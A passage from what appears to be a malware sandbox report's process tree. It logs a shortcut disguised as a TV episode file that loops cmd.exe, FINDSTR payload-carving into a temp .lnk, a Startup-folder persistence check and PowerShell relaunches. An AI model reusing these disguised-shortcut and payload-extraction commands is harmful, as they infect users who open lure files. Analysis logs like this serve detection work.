        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        339⤵
        
        PID:3608
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        340⤵
        
        PID:740
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0422" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        341⤵
        
        PID:1632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        341⤵
        
        PID:2544
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        342⤵
        
        PID:1128
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0486" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        343⤵
        
        PID:3740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        343⤵
        
        PID:2032
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        344⤵
        
        PID:5376
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0547" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        345⤵
        
        PID:3988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        345⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2684
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        346⤵
        
        PID:5340
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0614" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        347⤵
        
        PID:2260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        347⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5152
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        348⤵
        
        PID:5048
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0672" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        349⤵
        
        PID:4280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        349⤵
        
        PID:3932
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        350⤵
        
        PID:4900
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0725" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        351⤵
        
        PID:3692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        351⤵
        
        PID:3644
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        352⤵
        
        PID:5624
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0790" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        353⤵
        
        PID:4372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        353⤵
        
        PID:2508
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        354⤵
        
        PID:1508
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0844" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        355⤵
        
        PID:3564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        355⤵
        
        PID:2532
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        356⤵
        
        PID:752
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0911" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        357⤵
        
        PID:3708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        357⤵
        
        PID:1196
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        358⤵
        
        PID:2900
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0962" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        359⤵
        
        PID:4288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        359⤵
        
        PID:2972
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        360⤵
        
        PID:4320
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0023" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        361⤵
        
        PID:464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        361⤵
        
        PID:4924
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        362⤵
        
        PID:4796
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        363⤵
        
        PID:1860
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0073" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        363⤵
        
        PID:5232
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        363⤵
        
        PID:1372
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        364⤵
        
        PID:5556
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0128" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        365⤵
        
        PID:5764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        365⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5960
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        366⤵
        
        PID:5272
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0187" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        367⤵
        
        PID:4372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        367⤵
        
        PID:1180
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        368⤵
        
        PID:5424
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0240" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        369⤵
        
        PID:5316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        369⤵
        
        PID:5908
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        370⤵
        
        PID:3120
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0295" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        371⤵
        
        PID:4416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        371⤵
        
        PID:2848
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        372⤵
        
        PID:3516
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0351" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        373⤵
        
        PID:3140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        373⤵
        
        PID:5552
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        374⤵
        
        PID:4704
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0422" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        375⤵
        
        PID:2432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        375⤵
        
        PID:392
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        376⤵
        
        PID:1744
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0486" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        377⤵
        
        PID:5572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        377⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4864
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        378⤵
        
        PID:1888
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0561" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        379⤵
        
        PID:1368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        379⤵
        
        PID:4840
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        380⤵
        
        PID:556
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0659" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        381⤵
        
        PID:756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        381⤵
        
        PID:5244
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        382⤵
        
        PID:2588
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0720" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        383⤵
        
        PID:3348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        383⤵
        
        PID:4588
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        384⤵
        
        PID:2988
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0809" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        385⤵
        
        PID:2520
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        385⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3296
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        386⤵
        
        PID:3140
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0887" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        387⤵
        
        PID:3616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        387⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5104
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        388⤵
        
        PID:3376
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0970" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        389⤵
        
        PID:1748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        389⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5684
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        390⤵
        
        PID:4260
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0036" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        391⤵
        
        PID:4280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        391⤵
        
        PID:5816
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        392⤵
        
        PID:2116
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0105" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        393⤵
        
        PID:4908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        393⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3368
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        394⤵
        
        PID:4148
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0180" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        395⤵
        
        PID:1100
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        395⤵
        
        PID:6116
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        396⤵
        
        PID:1320
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0244" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        397⤵
        
        PID:3800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        397⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5852
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        398⤵
        
        PID:1408
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0315" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        399⤵
        
        PID:5788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        399⤵
        
        PID:1480
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        400⤵
        
        PID:3748
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0391" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        401⤵
        
        PID:5676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        401⤵
        
        PID:1620
        
        C:\Windows\SYSTEM32\cmd.EXE
        
